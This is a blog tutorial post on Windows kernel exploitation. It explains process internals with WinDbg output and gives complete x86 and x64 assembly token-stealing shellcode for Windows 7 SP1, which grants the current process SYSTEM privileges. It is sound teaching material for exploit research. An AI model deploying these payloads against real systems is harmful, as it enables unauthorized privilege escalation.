Monday, January 1, 2018

Kernel Exploitation (/tag/Kernel Exploitation)

[Kernel Exploitation] 2: Payloads (/2018/01/kernel-exploitation-2)

This post is dedicated to dissecting payloads to be used later on in this tutorial. Whenever a payload is used, it will be added here.

Repo with all code can be found here (https://github.com/abatchy17/HEVD-Exploits).

---

1. Token Stealing Payload
    - Windows 7 - x86 SP1
    - Windows 7 - x64 SP1

Some notes to keep in mind

- Sometimes you're able to control the return address of a function, in this case you can point it to your user-mode buffer only if SMEP (http://j00ru.vexillium.org/?p=783) is disabled.
- Payloads **have to** reside in an executable memory segment. If you define it as a read-only hex string or any other combination that doesn't have execute permissions, shellcode execution will fail due to DEP (Data Execution Prevention).
- Payloads are in assembly. Unless you enjoy copying hex strings, I recommend compiling ASM on the fly in a Visual Studio project. This works for x86 and x64 payloads and saves you the headache of removing function prologues/epilogues, creating a RWX buffer and copying shellcode or not being able to write x64 ASM inline.

Setup can be found here (http://lallouslab.net/2016/01/11/introduction-to-writing-x64-assembly-in-visual-studio/).

Lots of other options exist like 1) using masm and copying shellcode to a RWX buffer at runtime, 2) using a naked function but that's only for x86 or 3) inline ASM which again works only for x86.

Generic x86 payload wrapper

```
.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC PAYLOAD
PAYLOAD   proc

; Payload here

PAYLOAD ENDP
end
```

Generic x64 payload wrapper

```
.code
PUBLIC PAYLOAD
PAYLOAD   proc

; Payload here

PAYLOAD ENDP
end
```

Process internals crash course

- Every Windows process is represented by an `EPROCESS` (http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/index.htm) structure.

    ```
    dt nt!_EPROCESS optional_process_address
    ```

- Most of `EPROCESS` structures exist in kernel-space, `PEB` (http://www.geoffchappell.com/studies/windows/win32/ntdll/structs/peb/index.htm) exists in user-space so user-mode code can interact with it. This stucture can be shown using `dt nt!_PEB optional_process_address` or `!peb` if you're in a process context.

    ```
    kd> !process 0 0 explorer.exe
    PROCESS ffff9384fb0c35c0
        SessionId: 1  Cid: 0fc4    Peb: 00bc3000  ParentCid: 0fb4
        DirBase: 3a1df000  ObjectTable: ffffaa88aa0de500  HandleCount: 1729.
        Image: explorer.exe

    kd> .process /i ffff9384fb0c35c0
    You need to continue execution (press 'g' <enter>) for the context
    to be switched. When the debugger breaks in again, you will be in
    the new process context.
    kd> g
    Break instruction exception - code 80000003 (first chance)
    nt!DbgBreakPointWithStatus:
    fffff802`80002c60 cc              int     3
    kd> !peb
    PEB at 0000000000bc3000
        InheritedAddressSpace:    No
        ReadImageFileExecOptions: No

    ...
    ```

- EPROCESS structure contains a Token field that tells the system what privileges this process holds. A privileged process (like System) is what we aim for. If we're able to steal this token and overwrite the current process's token with that value, current process will run with higher privileges than it's intented to. This is called privilege escalation/elevation.
- Offsets differ per operating system, you'll need to update payloads with the appropriate values. WinDBG is your friend.

Token Stealing Payload

Imagine we can execute any code we want with the goal of replacing the current process token with a more privileged one, where do we go? PCR struct is an excellent option for us as its location doesn't change. With some WinDBG help we'll be able to find the EPROCESS of the current process and replace its token with that of System (PID 4).

1. Finding PCR (http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kpcr.htm)

PCR is at a fixed location (gs:[0] and fs:[0] for x64/x86)

2. Locating PcrbData

```
kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB                 <====
```

3. Locating CurrentThread

```
kd> dt nt!_KPRCB
   +0x000 MxCsr            : Uint4B
   +0x004 LegacyNumber     : UChar
   +0x005 ReservedMustBeZero : UChar
   +0x006 InterruptRequest : UChar
   +0x007 IdleHalt         : UChar
   +0x008 CurrentThread    : Ptr64 _KTHREAD         <====
   ...
```

4. Locating current process EPROCESS

More of the same, EPROCESS address is at _KTHREAD.ApcState.Process .

5. Locating SYSTEM EPROCESS

Using _EPROCESS.ActiveProcessLinks.Flink linked list we're able to iterate over processes. Every iteration we need to check if UniqueProcessId equals 4 as that's the System process PID.

6. Replacing the token

If it's a match we overwrite the target process Token with that of SYSTEM.

Notice that Token is of type _EX_FAST_REF and the lower 4 bits aren't part of it.

```
kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
   +0x000 Object           : Ptr64 Void
   +0x000 RefCnt           : Pos 0, 4 Bits
   +0x000 Value            : Uint8B
```

Normally you want to keep that value when replacing the token, but I haven't run into issues for not replacing it before.

Token Stealing Payload Windows 7 x86 SP1

```
.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC StealToken
StealToken   proc

pushad                              ; Save registers state

; Start of Token Stealing Stub
xor eax, eax                        ; Set ZERO
mov eax, DWORD PTR fs:[eax + 124h]  ; Get nt!_KPCR.PcrbData.CurrentThread
                                    ; _KTHREAD is located at FS : [0x124]

mov eax, [eax + 50h]                ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax                        ; Copy current process _EPROCESS structure
mov edx, 04h                        ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + 0B8h]               ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp[eax + 0B4h], edx                ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + 0F8h]               ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0F8h], edx                ; Replace target process nt!_EPROCESS.Token
                                    ; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

StealToken ENDP
end
```

Token Stealing Payload Windows 7 x64

```
.code
PUBLIC GetToken
GetToken   proc

; Start of Token Stealing Stub
xor rax, rax                    ; Set ZERO
mov rax, gs:[rax + 188h]        ; Get nt!_KPCR.PcrbData.CurrentThread
                                ; _KTHREAD is located at GS : [0x188]

mov rax, [rax + 70h]            ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax                    ; Copy current process _EPROCESS structure
mov r11, rcx                    ; Store Token.RefCnt
and r11, 7

mov rdx, 4h                     ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov rax, [rax + 188h]           ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 188h
cmp[rax + 180h], rdx            ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov rdx, [rax + 208h]           ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 208h], rdx            ; Replace target process nt!_EPROCESS.Token
                                ; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

GetToken ENDP
end
```

-Abatchy

(https://www.facebook.com/sharer/sharer.php?u=http://abatchy17.github.io/2018/01/kernel-exploitation-2)

(https://twitter.com/intent/tweet?url=http://abatchy17.github.io/2018/01/kernel-exploitation-2&text=[Kernel Exploitation] 2: Payloads)

(https://plus.google.com/share?url=http://abatchy17.github.io/2018/01/kernel-exploitation-2)

(http://www.linkedin.com/shareArticle?mini=true&url=http://abatchy17.github.io/2018/01/kernel-exploitation-2&title=[Kernel Exploitation] 2: Payloads&summary=Discusses payloads to be used in upcoming posts&source=)

comments powered by Disqus (http://disqus.com)

comments powered by Disqus (http://disqus.com)